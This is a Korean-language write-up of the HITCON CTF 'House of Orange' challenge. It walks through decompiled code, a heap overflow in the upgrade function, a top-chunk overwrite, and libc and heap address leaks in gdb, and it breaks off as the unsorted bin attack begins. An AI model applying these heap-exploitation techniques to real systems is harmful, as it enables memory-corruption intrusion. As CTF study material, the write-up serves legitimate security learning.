Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List


Information

Description

My teammate, Orange, need a house. Can you build it ? 
nc 52.68.192.99 56746

hourseoforange
libc.so.6

Related file

Source Code

Source code


Write up

File information

File information
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ file ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

autolycos@ubuntu:~/CTF/HITCON/houseoforange$ checksec.sh --file ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ 

Binary analysis

  • 해당 문제를 실행하면 다음과 같은 메뉴를 출력합니다.
hourseoforange
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 
  • "Build the house"는 다음과 같이 사용자로 부터 값을 입력 받습니다.
Build the house
Your choice : 1
Length of name :10
Name :AAAAAAAAAA
Price of Orange:+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
  • "See the house"는 사용자가 입력한 내용을 출력합니다.
See the house
Your choice : 2
Name of house : AAAAAAAAAA
Price of orange : 0
        __             
        \/.--,         
        //_.'           
   .-""-/""----..      
  / . . . . . . . \    
 / . . . . . . . . \   
 |. ωωωω . .ωωωω.  |   
 \ . $$. . . $$. ..|   
 \. . . . . . . . ./   
  \ . . . O . . . /    
   '-.__.__.__._-'     
  • "Upgrade the house"는 사용자가 입력한 값을 다음과 같이 수정할 수 있게 합니다.
Upgrade the house
Your choice : 3
Length of name :20
Name:BBBBBBBBBBBBBBBBBBBB
Price of Orange: +++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange: 2
Finish

Main

  • 해당 함수는 다음과 같은 기능을 합니다.
    • PrintMenu() 함수를 호출해 Menu를 출력합니다.
    • UserInput()함수를 이용해 사용자로부터 값을 입력받습니다.
    • 입력받은 값은 menuNumber 변수에 저장되며, if()를 이용해 정의된 함수를 호출합니다.
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int menuNumber; // eax@2

  setSIGALE();
  while ( 1 )
  {
    while ( 1 )
    {
      PrintMenu();
      menuNumber = UserInput();
      if ( menuNumber != 2 )
        break;
      SeeTheHouse();
    }
    if ( menuNumber > 2 )
    {
      if ( menuNumber == 3 )
      {
        UpgradeTheHouse();
      }
      else
      {
        if ( menuNumber == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( menuNumber != 1 )
        goto LABEL_14;
      BuildTheHouse();
    }
  }
}

BuildTheHouse() - 0x5640720E0D37

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 전역 변수 gHouseCount의 값이 3보다 큰 값인지 확인합니다.

      • 해당 변수를 이용해 해당 함수를 4번만 사용 가능하도록 합니다.

    • HOUSE 구조체의 Heap 공간을 할당합니다.

    • 사용자로 부터 입력할 이름의 길이를 입력받습니다.

      • 입력받은 값이 4096보다 클 경우 size변수에 4096을 저장합니다.
      • 최대 4096 크기의 Heap을 houseData→name 할당합니다.
      • 사용자로 부터 입력 받은 "Name" 값을 houseData→name에 저장합니다.
    • 사용자로 부터 "Name", "Price of Orange", "Color of Orange" 값을 입력받습니다.
    • 전역 변수 gHouseCount의 값을 증가 시킵니다.
BuildTheHouse() - 0x5640720E0D37
int BuildTheHouse()
{
  unsigned int size; // [rsp+8h] [rbp-18h]@4
  signed int colorNumber; // [rsp+Ch] [rbp-14h]@9
  HOUSE *houseData; // [rsp+10h] [rbp-10h]@4
  INFO *info; // [rsp+18h] [rbp-8h]@9

  if ( gHouseCount > 3u )
  {
    puts("Too many house");
    exit(1);
  }

  houseData = (house *)malloc(0x10uLL);
  printf("Length of name :");
  size = UserInput();

  if ( size > 4096 )
    size = 4096;

  houseData->name = (char *)malloc(size);
  if ( !houseData->name )
  {
    puts("Malloc error !!!");
    exit(1);
  }

  printf("Name :");
  NameInput(houseData->name, size);
  info = (Info *)calloc(1uLL, 8uLL);

  printf("Price of Orange:", 8LL);
  info->price = UserInput();
  colorPrint();

  printf("Color of Orange:");
  colorNumber = UserInput();
  if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
  {
    puts("No such color");
    exit(1);
  }

  if ( colorNumber == 56746 )
    info->color = 56746;
  else
    info->color = colorNumber + 30;

  houseData->house = info;
  gHouseDate = houseData;
  ++gHouseCount;
  return puts("Finish");
}
  • 여기에서 해당 프로그램이 사용하는 2가지의 Struct를 확인할 수 있습니다.
struct house
struct HOUSE
{
  struct Info *house;
  char *name;
};
struct info
struct INFO
{
  int price ;
  int color ;
};

SeeTheHouse() - 0x5640720E0EE6

  • 해당 함수는 다음과 같은 기능을 합니다.
    • "gHouseDate->house->color"의 값을 확인합니다.

      • "56746"과 같다면 orange 색의 orange가 출력됩니다.

      • "56746"과 같지 않지만, 30~37 범위 안에 속한다면 해당 값에 맞는 컬러의 orange가 출렫됩니다.
      • "56746"과 같지 않고, 30~37 범위에도 포합되지 않으며, 해당 프로그램은 종료됩니다.
    • Orange 모양이 출력될 때 name, price 값도 같이 출력됩니다.
    • Orange 모양을 출력할 때 rand()함수를 이용해 다른 형태의 Orange가 출력됩니다.
SeeTheHouse() - 0x5640720E0EE6
int SeeTheHouse()
{
  int v0; // eax@3
  int result; // eax@3
  int v2; // eax@8

  if ( !gHouseDate )
    return puts("No such house !");
  if ( gHouseDate->house->color == 56746 )
  {
    printf("Name of house : %s\n", gHouseDate->name);
    printf("Price of orange : %d\n", gHouseDate->house->price);
    v0 = rand();
    result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", gOrangeImageArr[v0 % 8]);
  }
  else
  {
    if ( gHouseDate->house->color <= 30 || gHouseDate->house->color > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", gHouseDate->name);
    printf("Price of orange : %d\n", gHouseDate->house->price);
    v2 = rand();
    result = printf("\x1B[%dm%s\x1B[0m\n", (unsigned int)gHouseDate->house->color, gOrangeImageArr[v2 % 8]);
  }
  return result;
}

UpgradeTheHouse() - 0x05640720E107C

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 전역 변수 gUpgradeCount의 값이 2보다 큰지 확인합니다.

      • 해당 변수를 이용해 해당 함수를 3번만 사용 가능하도록 합니다.
    • 전역 변수 gHouseDate에 데이터가 있으면 사용자로 부터 값을 입력 받습니다.

    • 사용자로 부터 "name"의 길이 값을 입력받습니다.
      • 해당 값이 4096보다 클 경우 size 값을 4096으로 설정합니다.
    • NameInput()함수를 이용해 "gHouseDate→name" 변수에 저장된 값을 변경합니다.
      • gHouseDate→name에 저장 가능한 문자열의 길이에 대한 제한이 없습니다.
      • 여기에서 Heap Overflow가 발생합니다.
    • 사용자로 부터 Price, Color 값을 입력 받습니다.
    • gUpgradeCount 변수의 값을 증가 시킵니다.

UpgradeTheHouse() - 0x05640720E107C
int UpgradeTheHouse()
{
  Info *info; // rbx@7
  unsigned int size; // [rsp+8h] [rbp-18h]@5
  signed int colorNumber; // [rsp+Ch] [rbp-14h]@7

  if ( gUpgradeCount > 2u )
    return puts("You can't upgrade more");
  if ( !gHouseDate )
    return puts("No such house !");

  printf("Length of name :");
  size = UserInput();
  if ( size > 4096 )
    size = 4096;

  printf("Name:");
  NameInput(gHouseDate->name, size);

  printf("Price of Orange: ", size);
  info = gHouseDate->house;
  info->price = UserInput();
  colorPrint();

  printf("Color of Orange: ");
  colorNumber = UserInput();

  if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
  {
    puts("No such color");
    exit(1);
  }

  if ( colorNumber == 56746 )
    gHouseDate->house->color = 56746;
  else
    gHouseDate->house->color = colorNumber + 30;
  ++gUpgradeCount;
  return puts("Finish");
}

Debuging

Heap Overflow

  • Heap Overflow를 확인하기 위해 다음과 같이 Break pointf를 설정합니다.
    • 0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후

    • 0x555555554dfe : BuildTheHouse() 함수에서 NameInput() 함수 호출 후 
    • 0x555555554e0d : BuildTheHouse() 함수에서 calloc() 함수 호출 후 
    • 0x555555555119 : UpgradeTheHouse()함수에서 NameInput() 함수 호출 전

    • 0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후

Break point
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ gdb -q ./houseo*
Reading symbols from ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682...(no debugging symbols found)...done.
gdb-peda$ b *0x555555554daa
Breakpoint 1 at 0x555555554daa
gdb-peda$ b *0x555555554dfe
Breakpoint 2 at 0x555555554dfe
gdb-peda$ b *0x555555554e0d
Breakpoint 3 at 0x555555554e0d
gdb-peda$ b *0x555555555119
Breakpoint 4 at 0x555555555119
gdb-peda$ b *0x55555555511e
Breakpoint 4 at 0x55555555511e
gdb-peda$ 
  • "Build the house" 기능을 호출합니다.
    • Name의 길이로 10을 입력했으며, malloc()에 의해 할당 메모리영역은 0x555555758030 입니다.
    • calloc() 함수를 이용해 Price, Color 값을 저장할 Heap 공간을 할당 받습니다.
      • 0x20byte의 Heap공간이 할당되어 있습니다.
Build the house
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/autolycos/CTF/HITCON/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :10

Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555758030	0x555555758030
gdb-peda$ x/8gx 0x555555758030
0x555555758030:	0x0000000000000000	0x0000000000000000
0x555555758040:	0x0000000000000000	0x0000000000020fc1
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
Name :AAAAAAAAA
Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:	0x4141414141414141	0x0000000000000a41
0x555555758040:	0x0000000000000000	0x0000000000020fc1
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:	0x4141414141414141	0x0000000000000a41
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000020fa1
gdb-peda$ c
  • "Upgrade the house"기능을 이용해 Heap Overflow를 발생시켜 보겠습니다.
    • "Length of name"의 값으로 60을 입력합니다.
    • "Name"의 값으로 'B' * 50개, 'C' * 8개를 입력합니다.
      • 0x555555758030 ~ 0x55555575806C 영역에 입력한 문자열이 저장되어 있습니다.

      • 0x555555758050 영역에는 price,color 값이 저장됩니다.

  • 해당 취약성을 이용해 다음과 같은 공격이 가능합니다.
    • 해당 Heap Overflow를 이용해 Libc address,Heap address 추출이 가능합니다.
    • Top chunk의 값을 변경해 "Unsort bin attack" 공격도 가능합니다.
Upgrade the house
gdb-peda$ c
Continuing.
Price of Orange:100
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :60
Name:

Breakpoint 4, 0x0000555555555119 in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:	0x4141414141414141	0x0000000000000a41
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x0000001f00000064	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000020fa1
gdb-peda$ ni
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC
Breakpoint 5, 0x000055555555511e in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:	0x4242424242424242	0x4242424242424242
0x555555758040:	0x4242424242424242	0x4242424242424242
0x555555758050:	0x4242424242424242	0x4242424242424242
0x555555758060:	0x4343434343424242	0x000000000a434343
gdb-peda$ 

Structure of Exploit code 

  • Payload의 순서는 다음과 같습니다.
Payload Flow
  1. Libc, Heap address Leak
  2. Unsorted bin attack
  • 이를 조금더 자세하게 설명하면 다음과 같습니다.
Detailed description
  1. Libc, Heap address Leak
    1. Heap overflow를 이용해 large chunk를 생성
  2. Unsorted bin attack
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
List of information to check
  1. Leaklibcaddress

Information for attack

Leak - Overwrite of top chunk

  • "Upgrade the house" 기능에서 발생하는 Heap overflow를 이용해 Top chunk를 변조할 수 있습니다.
    • Top chunk의 크기를 작게 많들어서 새로운 메모리 영역을 할당하도록 합니다.
    • malloc()은Top chunk 크기가 충분하지 않으면 sysmalloc()을 사용하여 새 메모리 영역을 할당합니다.
  • sysmalloc()은 새로운 영역을 할당하기 위해서는 Top chunk의 값을 확인합니다.

    • Top chunk 변조를 통해 새로운 메모리 영역을 할당받기 위해 다음과 같은 조건을 만족시켜야 합니다.

      1. MINSIZE (0x10)보다 커야 합니다. (unsigned long) (old_size) >= MINSIZE

      2. need size + MINSIZE 보다 작아야 합니다. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE))

      3. prev_inuse가 설정되어 있어야 합니다. prev_inuse (old_top)

      4. old_top +oldsize 페이지를 정렬해야합니다.

malloc.c -> sysmalloc() [ ver. glibc 2.23 ]
 /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  • 다음과 같이 Break point를 설정합니다.
    • 0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후

    • 0x555555554dfe : BuildTheHouse() 함수에서 NameInput() 함수 호출 후 
    • 0x555555554e0d : BuildTheHouse() 함수에서 calloc() 함수 호출 후 

    • 0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후

Break points
gdb-peda$ b *0x555555554000 + 0xDAA
Breakpoint 1 at 0x555555554daa
gdb-peda$ b *0x555555554000 + 0xDFE
Breakpoint 2 at 0x555555554dfe
gdb-peda$ b *0x555555554000 + 0xE0D
Breakpoint 3 at 0x555555554e0d
gdb-peda$ b *0x555555554000 + 0x111E
Breakpoint 4 at 0x55555555511e
gdb-peda$ 
  • "BuildTheHouse" 기능을 이용해 Heap 영역을 할당합니다.
    • 할당할 Heap의 크기는 16입니다.
Create heap
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange 
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :16
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555758030	0x555555758030
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x0000000000000000	0x0000000000000000
0x555555758040:	0x0000000000000000	0x0000000000020fc1
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
Name :AAAAAAAAAAAABB
Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x4141414141414141	0x000a424241414141
0x555555758040:	0x0000000000000000	0x0000000000020fc1
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x4141414141414141	0x000a424241414141
0x555555758040:	0x0000000000000000	0x0000000000000021
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000020fa1
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • "UpgradeTheHouse" 기능을 이용해 Top chunk를 변경 할 수 있습니다.
    • Top chunk의 값을 0xfa1(3889)으로 변경합니다.
      • 변경 전 Top chunk의 값은 0x20fa1 입니다.
    • 변경된 Top chunk의 크기로 인해 해당 크기보다 큰 크기의 heap을 할당을 요청하면, malloc는 sysmalloc()을 사용해 새로운 메모리 영역을 할당하게 됩니다.
      • 이로 인해 기존의 Top chunk영역은 Free chunk로 Unsorted bin에 추가됩니다.
      • Free chunk의 fd, bk영역의 값도 생성됩니다.
Overwrite for Top chunk
gdb-peda$ c
Continuing.
Price of Orange:100
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :70
Name:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x4141414141414141	0x4141414141414141
0x555555758050:	0x4141414141414141	0x4141414141414141
0x555555758060:	0x4141414141414141	0x0a42424241414141
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ set *0x555555758068 = 0xfa1
gdb-peda$ set *0x55555575806c = 0x0
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x4141414141414141	0x4141414141414141
0x555555758050:	0x4141414141414141	0x4141414141414141
0x555555758060:	0x4141414141414141	0x0000000000000fa1
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • "BuildTheHouse" 기능을 이용해 Top chunk 보다 큰 크기의 Heap을 할당합니다.
    • Top chunk의 크기 보다 큰 4096 크기의 Heap 할당을 요청합니다.
    • sysmalloc()에 의해 새로 할당된 Heap 영역은 0x55f72a511010 입니다.
    • 앞에서 설명했듯이 Top chunk가 Free chunk가 되었으며, fd(Forward pointer), bk(Backward pointer)의 값도 생성되었습니다.
      • 공격자를 해당 fd, bk 영역에 저장된 데이터를 악용할 수 있습니다.
        • fd,bk 주소(0x7f68e8d2c7b8)에 저장된 값은 0x55f72a512010 입니다.
        • 0x55f72a512010 = 할당된 heap의 시작 주소(0x55f72a511010) + heap size(0x1000, 4096)

Create unsorted bin
gdb-peda$ c
Continuing.
Price of Orange: 200
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange: 2
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :4096
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555779010	0x555555779010
gdb-peda$ x/16gx 0x555555758030
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x4141414141414141	0x4141414141414141
0x555555758050:	0x00000020000000c8	0x4141414141414141
0x555555758060:	0x4141414141414141	0x0000000000000021
0x555555758070:	0x000000000000000a	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000f61
0x555555758090:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x5555557580a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ 

Leak - Libc address

  • "BuildTheHouse" 기능을 이용해 Libc address를 추출할 수 있습니다.
    • 새로 할당할 Heap의 크기로 1024를 입력합니다.
    • 이로 인해 기존 Heap영역 내에서 해당 영역(0x5555557580d0)이 할당됩니다.
      • sysmalloc()으로 인해 추가 생성된 Heap영역이 아닙니다.
    • "0x5555557580d0", "0x5555557580d8"영역에 main_arena 영역의 주소가 저장되어 있습니다.

    • "Name"의 입력 값으로 문자 8개를 입력하면 해당 주소 값을  출력할 수있습니다.
Write 8 characters in the Heap
gdb-peda$ c
Continuing.
Name :HEAP

Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ c
Continuing.
Price of Orange:300
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange:3
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :1024
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x5555557580d0	0x5555557580d0

gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:	0x00007ffff7dd2188	0x00007ffff7dd2188
0x5555557580e0:	0x00005555557580c0	0x00005555557580c0
0x5555557580f0:	0x0000000000000000	0x0000000000000000
0x555555758100:	0x0000000000000000	0x0000000000000000
0x555555758110:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd2188
0x7ffff7dd2188 <main_arena+1640>:	0x00007ffff7dd2178
gdb-peda$
  • "Name"으로 문자 8개를 입력합니다.
    • 아래 예제에서는 "LEAKADD"을 입력했습니다.
      • 메모리에 "0x0a4444414b41454c" 이 저장되었습니다.
    • "0x5555557580d8" 영역 값과 입력한 문자열을 하나의 문장으로 인식하게 됩니다.
  • "See the house"기능을 통해 "0x5555557580d8" 영역의 값을 출력할 수 있습니다.
    • Leak data : ?!???
Leak libc address
gdb-peda$ c
Continuing.
Name :LEAKADD

Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:	0x0a4444414b41454c	0x00007ffff7dd2188
0x5555557580e0:	0x00005555557580c0	0x00005555557580c0
0x5555557580f0:	0x0000000000000000	0x0000000000000000
0x555555758100:	0x0000000000000000	0x0000000000000000
0x555555758110:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ c
Continuing.
Price of Orange:400
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : LEAKADD
?!???
Price of orange : 400
        __            
        \/.--,        
        //_.'         
   .-""-/""----..     
  / . . . . . . . \   
 / . . \ . . / . . \  
 |. ____\ . /____. |  
 \ . . . . . . . . |  
 \. . . . . . . . ./  
  \ . . . ~ . . ./   
   '-.__.__.__._-'    


+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice :

Leak - Heap address

  • 다음과 같이 "Upgrade the house" 기능을 이용해 Heap address를 누출 할 수 있습니다.
    • "0x5555557580d0"으로 부터 16 byte 떨어진곳에 Heap의 주소가 존재합니다.

    • 이를 Leak하기 위해 "Name"의 값으로 문자 15를 입력합니다.

  • "See the house"기능을 통해 heap address 를 출력할 수 있습니다.
    • Leak data : ??uUUU
Leak for Heap address
Name of house : LEAKADD
?!???
Price of orange : 400
        __            
        \/.--,        
        //_.'         
   .-""-/""----..     
  / . . . . . . . \   
 / . . \ . . / . . \  
 |. ____\ . /____. |  
 \ . . . . . . . . |  
 \. . . . . . . . ./  
  \ . . . ~ . . ./   
   '-.__.__.__._-'    


+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :1024
Name:BBBBBBBBBBBBBBB


Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:	0x4242424242424242	0x0a42424242424242
0x5555557580e0:	0x00005555557580c0	0x00005555557580c0
0x5555557580f0:	0x0000000000000000	0x0000000000000000
0x555555758100:	0x0000000000000000	0x0000000000000000
0x555555758110:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
Price of Orange: 500
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange: 5
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
        __             
        \/.--,         
        //_.'           
   .-""-/""----..      
  / . . . . . . . \    
 / . . . . . . . . \   
 |. ωωωω . .ωωωω.  |   
 \ . $$. . . $$. ..|   
 \. . . . . . . . ./   
  \ . . . O . . . /    
   '-.__.__.__._-'     


+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 

HouseOfOrange

  • 다음과 같은 방법으로 Unsorted bin attack을 이용해 HouseOfOrange 공격이 가능합니다.
    • 분석을 위해 "0x555555555119"영역에 Break point를 설정합니다.

    • "Length of name" 의 입력 값으로 "2048"를 전달합니다.

  • 중요한 부분은 현재 main_arena의 Unsorted bin에 저장된 영역입니다.

    • Unsorted bin영역에 저장된 영역은 0x5555557584f0 입니다.

    • 즉, 덮어써야 할 영역은 0x5555557584f0이 됩니다.
    • NamaInput() 함수에 의해 입력받은 값은 "0x5555557580d0"영역 부터 저장됩니다.
      • 0x5555557584f0 영역을 덮어쓰기 위해서 임이의 문자 1056개의 입력이 필요합니다.
      • Ex) "A" * 1056 + "B" * 32
    • 아래와 같이 입력값에 의해 Unsorted chunk영역의 값이 변경되었습니다.
Check Unsorted bin
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
        __             
        \/.--,         
        //_.'          
   .---//------..      
  / . . . . . . . \    
 / . ./\. . ./\ .. \   
 |. ./  \. ./  \ . |  
 \ . . . . . . . ..|  
 \. . . . . . . . ./   
  \ . . \___/. . ./    
   '-.__.__.__._-'     


